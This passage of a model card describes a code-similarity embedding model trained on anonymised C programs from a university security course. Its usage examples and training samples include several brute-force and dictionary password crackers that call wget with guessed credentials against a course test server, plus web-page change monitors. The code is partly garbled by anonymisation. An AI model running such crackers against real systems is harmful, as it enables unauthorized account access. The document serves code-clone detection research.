url2);\n\n\trettype = system();\n\t\n\tif (rettype\ \ == 0) {\n\t\tprintf(\"Successfully retrieved password: %s\\n\", password);\n\ \t\treturn 0;\n\t}\n\tstrcpy(, \"\");\n}\n" - source_sentence: "\n\n\n#include \n\n#include \nint ()\n{\n \ \ int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n\ \ int ;\n char username[]=\"\";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i\ \ = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j\ \ <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k\ \ <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0]\ \ = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,\"%c%c%c\"\ ,word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf(\"%d )%s\\\ n\\n\", counter, paswd);\n\t\t\t sprintf(get,\"wget --http-user=%s --http-passwd=%s\ \ http://sec-crack.cs.rmit.edu./SEC/2/\",username,paswd);\n\t\t\t=system(get);\n\ \t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf(\"The Password has been cracked and\ \ it is : %s\" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t\ }\n \n\t\n}\n\n" sentences: - "\n\n#include \n#include \n#include \n\n#define\ \ OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char\ \ *b) {\n\n\n char [100]={'\\0'};\n strcpy(,b);\n \n strcat(,);\n\ \ printf (\"Sending command %s\\n\",);\n if ( system()== 0) {\n printf\ \ (\"\\n password is : %s\",);\n return 1;\n }\n return 0;\n}\n \n\ \nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52\ \ ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return\ \ 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n \ \ if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++)\ \ {\n comb[2] = [k];\n if(execPassword(comb,url)==1)\ \ return 1;\n }\n comb[1] = '\\0';\n }\n }\n return\ \ 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80]\ \ = {'\\0'};\n char *passwd;\n char a[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};\n\ \ char v[4]={'\\0'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,\"\ wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=\");\n\n\ \ startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime =\ \ time();\n final = stopTime-startTime;\n }\n\n printf (\"\\n The\ \ password is : %s\",v);\n printf(\"%lld nanoseconds (%lf) seconds \\n\"\ , final, (double)final/OneBillion );\n\n}\n" - "\n\n#include\n#include\n#include\n#include\n\ #define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n\ \ \n while(1)\n { \n system(\"wget -p http://www.cs.rmit.edu./students\"\ );\n\n\n\n system(\"mkdir data\"); \n if((fp=fopen(\"./data/index.html\"\ ,\"r\"))==NULL)\n { \n system(\"cp www.cs.rmit.edu./students/index.html\ \ ./data\");\n\t \n }\n else\n { \n \n\t \n\t\ \ system(\"diff ./data/index.html www.cs.rmit.edu./students/index.html | mail\ \ @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./students/index.html ./data\"\ );\n } \n\n\n\n system(\"mkdir images\"); \n if((fp=fopen(\"\ ./images/file.txt\",\"r\"))==NULL)\n { \n system(\"md5sum www.cs.rmit.edu./images/*.*\ \ > ./images/file.txt\");\n\t\t \n }\n \n else\n { \ \ \n system(\"md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt\"\ );\n\t \n\t \n\t \n\t system(\"diff ./images/file.txt www.cs.rmit.edu./file.txt\ \ | mail @cs.rmit.edu.\");\n\t system(\"cp www.cs.rmit.edu./file.txt ./images\"\ );\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n\ \ \n\t \n\t \t\n" - "#include\n#include\n#include\n#include\n\ #include\n\n\npublic static void main()\n{\n\tint i;\n\tchar ar[100];\n\ \tFILE* f;\n\tFILE* ;\n\tsystem(\"wget -O first www.rmit.edu./students\"); \n\ \twhile(1)\n\t{\n\t\tsleep(86400);\t\n\t\tsystem(\"rm -f thed\");\n\t\tsystem(\"\ rm -f new\");\n\t\tsystem(\"wget -O new www.cs.rmit.edu./students\");\t\n\t\t\ system(\"diff new first >thed\");\t\n\t\tf=fopen(\"thed\",\"r\");\n\t\tif(fgets(ar,100,f)!=NULL)\n\ \t\t{\t\t\n\t\t\t printf(\"\\n\\n The has CHANGEDS\");\t\t\n\t\t\tsystem(\"mail\ \ @cs.rmit.edu. - **Maximum Sequence Length:** 512 tokens - **Output Dimensionality:** 768 dimensions - **Similarity Function:** Cosine Similarity ### Model Sources - **Documentation:** [Sentence Transformers Documentation](https://sbert.net) - **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers) - **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers) ### Full Model Architecture ``` SentenceTransformer( (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'}) (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True}) ) ``` ## Usage ### Direct Usage (Sentence Transformers) First install the Sentence Transformers library: ```bash pip install -U sentence-transformers ``` Then you can load this model and run inference. ```python from sentence_transformers import SentenceTransformer # Download from the 🤗 Hub model = SentenceTransformer("buelfhood/SOCO-C-CodeBERT-ST") # Run inference sentences = [ '\n\n\n#include \n\n#include \nint ()\n{\n int i,j,k,counter =0;\n char word[3];\n char paswd[3];\t\n char get[100];\n int ;\n char username[]="";\n \n \n \n \n \n\t\t\t\t\n\t\n\tfor (i = 65; i <= 122; i++)\n\t{\n\t\t if(i==91) {i=97;} \n \n\t\tfor (j = 65; j <= 122; j++)\n\t\t{\n\t\t\n\t\tif(j==91) {j=97;}\n \n\t\tfor (k = 65; k <= 122; k++)\n\t\t{\n\t\t \n\t\t\tif(k==91) {k=97;} \n\t\t\t\n\t\t\t word[0] = i;\n\t\t\t word[1] = j;\n\t\t\t word[2] = k;\n\t\t\t sprintf(paswd,"%c%c%c",word[0],word[1],word[2]); \n\t\t\t counter++;\n\t\t\tprintf("%d )%s\\n\\n", counter, paswd);\n\t\t\t sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,paswd);\n\t\t\t=system(get);\n\t \n\t\t\tif(==0) \n\t\t\t{\n\t\t\tprintf("The Password has been cracked and it is : %s" , paswd);\n\t\t\texit(0);\n\t\t\t}\n\t\t}\n \n\t\t}\n \n\t}\n \n\t\n}\n\n', '\n\n#include\n#include\n#include\n#include\n#define MAX_SIZE 255\n\n\nint (int argc, char *argv[])\n {\n FILE *fp;\n \n while(1)\n { \n system("wget -p http://www.cs.rmit.edu./students");\n\n\n\n system("mkdir data"); \n if((fp=fopen("./data/index.html","r"))==NULL)\n { \n system("cp www.cs.rmit.edu./students/index.html ./data");\n\t \n }\n else\n { \n \n\t \n\t system("diff ./data/index.html www.cs.rmit.edu./students/index.html | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./students/index.html ./data");\n } \n\n\n\n system("mkdir images"); \n if((fp=fopen("./images/file.txt","r"))==NULL)\n { \n system("md5sum www.cs.rmit.edu./images/*.* > ./images/file.txt");\n\t\t \n }\n \n else\n { \n system("md5sum www.cs.rmit.edu./images/*.* > www.cs.rmit.edu./file.txt");\n\t \n\t \n\t \n\t system("diff ./images/file.txt www.cs.rmit.edu./file.txt | mail @cs.rmit.edu.");\n\t system("cp www.cs.rmit.edu./file.txt ./images");\n }\n sleep(86400); \n }\t\n return (EXIT_SUCCESS);\n }\n \n\t \n\t \t\n', '\n\n#include \n#include \n#include \n\n#define OneBillion 1e9\n#define false 0\n#define true 1\nint execPassword(char *, char *b) {\n\n\n char [100]={\'\\0\'};\n strcpy(,b);\n \n strcat(,);\n printf ("Sending command %s\\n",);\n if ( system()== 0) {\n printf ("\\n password is : %s",);\n return 1;\n }\n return 0;\n}\n \n\nint bruteForce(char [],char comb[],char *url) {\n\n\nint i,j,k;\n\n for(i=0;i<52 ;i++) {\n comb[0]= [i];\n if (execPassword(comb,url)== 1) return 1; \n for(j=0;j<52;j++) {\n comb[1] = [j];\n if(execPassword(comb,url)==1) return 1;\n for(k=0;k<52;k++) {\n comb[2] = [k];\n if(execPassword(comb,url)==1) return 1;\n }\n comb[1] = \'\\0\';\n }\n }\n return 0;\n\n} \n\nint (char *argc, char *argv[]) {\n\n int i,j,k;\n char strin[80] = {\'\\0\'};\n char *passwd;\n char a[] = {\'a\',\'b\',\'c\',\'d\',\'e\',\'f\',\'g\',\'h\',\'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\',\'G\',\'H\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n char v[4]={\'\\0\'};\n int startTime, stopTime, final;\n int flag=false; \n strcpy(strin,"wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=");\n\n startTime = time();\n if (bruteForce(a,v,strin)==1) {\n stopTime = time();\n final = stopTime-startTime;\n }\n\n printf ("\\n The password is : %s",v);\n printf("%lld nanoseconds (%lf) seconds \\n", final, (double)final/OneBillion );\n\n}\n', ] embeddings = model.encode(sentences) print(embeddings.shape) # [3, 768] # Get the similarity scores for the embeddings similarities = model.similarity(embeddings, embeddings) print(similarities) # tensor([[1.0000, 0.9892, 0.9953], # [0.9892, 1.0000, 0.9908], # [0.9953, 0.9908, 1.0000]]) ``` ## Training Details ### Training Dataset #### Unnamed Dataset * Size: 3,081 training samples * Columns: sentence_0, sentence_1, and label * Approximate statistics based on the first 1000 samples: | | sentence_0 | sentence_1 | label | |:--------|:--------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------|:-----------------------------------------------| | type | string | string | int | | details |
  • min: 194 tokens
  • mean: 471.57 tokens
  • max: 512 tokens
|
  • min: 194 tokens
  • mean: 458.65 tokens
  • max: 512 tokens
|
  • 0: ~99.20%
  • 1: ~0.80%
| * Samples: | sentence_0 | sentence_1 | label | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------| | #include
#include
#include
#include
#include
#include
#include



int ()
{
int i,j,k,syst;
char password[4],first[100],last[100];
int count =0;
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(first, "wget --http-user= --http-passwd=");
strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");
int Start_time,End_time,Total_time,average;
Start_time = time();
printf(" Time =%11dms\n", Start_time);
for (i=0;i<=52;i++)
{
for (j=0;j<=52;j++)
{
for(k=0;k<=52;k++)
{
password[0] = arr[i];
password[1] = arr[j];
password[2] = arr[k];
password[3] = '\0';
printf(" The Combination of the password tried %s \n" ,password);
printf("*...
| #include
#include
#include
#include
#include
#include



int ()
{
int i,j,k,sysoutput;
char pass[4],b[50], a[50],c[51] ,[2],string1[100],string2[100],temp1[3];
char arr[52] ={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};
strcpy(string1, "wget --http-user= --http-passwd=");
strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");

for (i=0;i<=52;i++)
{
[0] = arr[i];
[1] ='\0';
strcpy(a,);

printf("The first value is %s \n", a);

for (j=0;j<=52;j++)
{ [0] = arr[j];
[1] = '\0';
strcpy(temp1,a);
strcat(a,);
strcpy(b,a);
strcpy(a,temp1);
printf("The second value is %s \n", b);
for(k=0;k<=52;k++)
{
[0] =arr[k];
[1] = '\0...
| 1 | | #include
#include
#include
#include
#include

()
{
int i,m,k,count=0;
FILE* diction;
FILE* log;
char s[30];
char pic[30];
char add[1000];
char end[100];
time_t ,finish;
double ttime;

strcpy(add,"wget --http-user= --http-passwd=");
strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
diction=fopen("/usr/share/lib/dict/words","r");
=time(NULL);
while(fgets(s,100,diction)!=NULL)
{
printf("%s\n",s);
for(m=40,k=0;k<(strlen(s)-1);k++,m++)
{
add[m]=s[k];
}
add[m++]=' ';
for(i=0;i<50;i++,m++)
{
add[m]=end[i];
}
add[m]='\0';

system(add);
count++;
log=fopen("logd","r");
fgets(pic,100,log);
printf("%s",pic);
if(strcmp(pic,"Authorization failed.\n")!=0)
{
finish=time(NULL);
ttime=difftime(,finish);
printf( "\n The time_var take:%f/n The of passwords tried is %d\n",ttime,count);
break;
}
fclose(log);
}

}
|



#include
#include
#include

int ()
{
int i,j,k,cntr=0;
char pass[3];
char password[3];
char get[96];
char username[]="";
int R_VALUE;
double time_used;

clock_t ,end;

=clock();



for (i = 65; i <= 122; i++)
{
if(i==91) {i=97;}

for (j = 65; j <= 122; j++)
{
if(j==91) {j=97;}

for (k = 65; k <= 122; k++)
{
if(k==91) {k=97;}

pass[0] = i;
pass[1] = j;
pass[2] = k;
sprintf(password,"%c%c%c",pass[0],pass[1],pass[2]);
cntr++;

printf("%d )%s\n\n", cntr, password);
sprintf(get,"wget --non-verbose --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);


R_VALUE=system(get);

if(R_VALUE==0)
{
printf("The Password has been cracked and it is : %s" , password);
...
| 0 | |





#include
#include
#include


int ()
{
char url[30];
int exitValue=-1;
FILE *fr;

char s[300];
system("rm index.html*");
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html one.html");

printf("System completed Writing\n");
system("sleep 3600");


system("wget http://www.cs.rmit.edu./students/ ");



exitValue=system("diff one.html index.html > .out" );

fr=fopen(".out","r");

strcpy(s,"mailx -s \"Testing Again\"");

strcat(s," < .out");
if(fgets(url,30,fr))
{
system(s);

system("rm one.html");

printf("\nCheck your mail") ;
fclose(fr);
}
else
{
printf(" changes detected");

system("rm one.html");
fc...
| #include
#include
#include
#include
#include

int ()
{

int m,n,o,i;
time_t u1,u2;
char v[3];
char temp1[100];
char temp2[100];
char temp3[250];
FILE *fin1;

char point[25];
fin1=fopen("./words.txt","r");

if(fin1==NULL)
{
printf(" open the file ");
exit(0);
}


strcpy(temp2," --http-user= --http-passwd=");
strcpy(temp1,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php");

strcpy(temp3,"");

(void) time(&u1);

while(!feof(fin1))
{

fgets(point,25,fin1);
if(strlen(point)<=4)
{


strcpy(temp3,temp1);
strcat(temp3,temp2);
strcat(temp3,point);
printf("\nSending the %s\n",temp3);
i=system(temp3);

if(i==0)
{
(void) time(&u2);
printf("\n The password is %s\n",point);
printf("\n\nThe time_var taken crack the passwork is %d second\n\n",(int)(u2-u1));
exit(0);
}
else
{
strcpy(temp3,"");
}


}
}


} ...
| 0 | * Loss: [BatchAllTripletLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#batchalltripletloss) ### Training Hyperparameters #### Non-Default Hyperparameters - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `num_train_epochs`: 1 - `fp16`: True - `multi_dataset_batch_sampler`: round_robin #### All Hyperparameters
Click to expand - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: no - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.0 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: True - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: round_robin - `router_mapping`: {} - `learning_rate_mapping`: {}
### Framework Versions - Python: 3.11.13 - Sentence Transformers: 5.0.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.8.1 - Datasets: 3.6.0 - Tokenizers: 0.21.2 ## Citation ### BibTeX #### Sentence Transformers ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ``` #### BatchAllTripletLoss ```bibtex @misc{hermans2017defense, title={In Defense of the Triplet Loss for Person Re-Identification}, author={Alexander Hermans and Lucas Beyer and Bastian Leibe}, year={2017}, eprint={1703.07737}, archivePrefix={arXiv}, primaryClass={cs.CV} } ```